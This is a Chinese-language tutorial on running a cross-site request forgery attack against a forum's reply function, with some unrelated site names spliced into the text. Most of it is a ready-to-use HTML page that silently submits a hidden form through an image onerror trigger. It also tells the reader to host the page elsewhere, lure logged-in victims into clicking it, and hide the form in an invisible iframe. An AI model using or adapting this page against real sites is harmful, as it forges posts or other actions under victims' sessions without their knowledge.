首先我们正常登录目标网站，打开burp suite的代理（有关burp suite参见易踪网文章：）。再次进入浏览器，编辑留言，发出。burp suite截取到post数据包，进行查看。如截图：
查看其中post的相关参数，包含用户cookie和发贴的内容信息，没有加入tokenid和refferer验证，这样一般就可能存在csrf的漏洞。
手动编写一个html，www.xuhantao.com，内含form表单，表单中含有hupu网发贴需要的信息。html文件如下：
<!DOCTYPE html><!–STATUS OK–>
<html>
<head>
<meta http-equiv=”X-UA-Compatible”content=”IE=7″>
<meta http-equiv=”content-type”content=”text/html;charset=utf-8″>
</head>
<body>
<form method=”POST”name=”transfer”id=”333″action=” www.2cto.com /post.php”> //修改成目标地址
<input type=”hidden”name=”atc_content”value=”%BA%DC%BA%C3%B5%C4%D2%BB%C6%AC%CE%C4%D5%C2%A1%A3″>
<input type=”hidden”name=”usevote”value=”0″>
<input type=”hidden”name=”douid”value=”1″>
<input type=”hidden” name=”votetype” value=”bbs”>
<input type=”hidden” name=”votetitle” value=”">
<input type=”hidden” name=”votename%5B%5D” value=”">
<input type=”hidden” name=”votename%5B%5D” value=”">
<input type=”hidden” name=”votename%5B%5D” value=”">
<input type=”hidden”name=”editnum”value=”3″>
<input type=”hidden”name=”nowitnum”value=”3″>
<input type=”hidden” name=”voteclass” value=”">
<input type=”hidden”name=”postfast”value=”2″>
<input type=”hidden” name=”atc_title” value=”Re%3A%BF%C6%B1%C8%CA%C7%CF%D6%D2%DB%D6%D0%C0%FA%CA%B7%B5%D8%CE%BB%D7%EE%B8%DF%B5%C4%C2%F0%3F”>
<input type=”hidden”name=”atc_usesign”value=”1″>
<input type=”hidden”name=”atc_convert”value=”1″>
<input type=”hidden”name=”atc_autourl”value=”1″>
<input type=”hidden”name=”step”value=”2″>
<input type=”hidden” name=”action” value=”reply”>
<input type=”hidden”name=”fid”value=”1048″>
<input type=”hidden”name=”tid”value=”4335054″>
<input type=”hidden” name=”subject” value=”%BF%C6%B1%C8%CA%C7%CF%D6%D2%DB%D6%D0%C0%FA%CA%B7%B5%D8%CE%BB%D7%EE%B8%DF%B5%C4%C2%F0%3F”>
<input type=”hidden”name=”editor”value=”0″>
<input type=”hidden” name=”atc_attachment” value=”none”>
<input type=”hidden” name=”replayofpage” value=”">
<input type=”hidden”name=”replaymeta”value=”1″>
</form>
<script type=”text/javascript”>
function stealpage()
{
document.getElementById(“333″).submit();
}
</script>
<img src=”123″onerror=”javascript:stealpage()”>
</body>
</html>
其后，把我们的html上传到第三方服务器，把该html的url发布在目标网上或者直接向被攻击者发送url，诱使点击。只要被攻击者登录了目标网站，又点击了该链接，被攻击者的浏览器就会附带上自己的cookie和html中的form表单向目标网站发起post请求，涛涛电脑知识网，由于服务器没有校验发起方的身份，请求被认为是合法的（因为请求中包含了被攻击者的cookie），提交成功。
为了隐蔽，编写html时可以将form表单编写在一个不可见的iframe中，这样被攻击者就感觉不到攻击的存在了
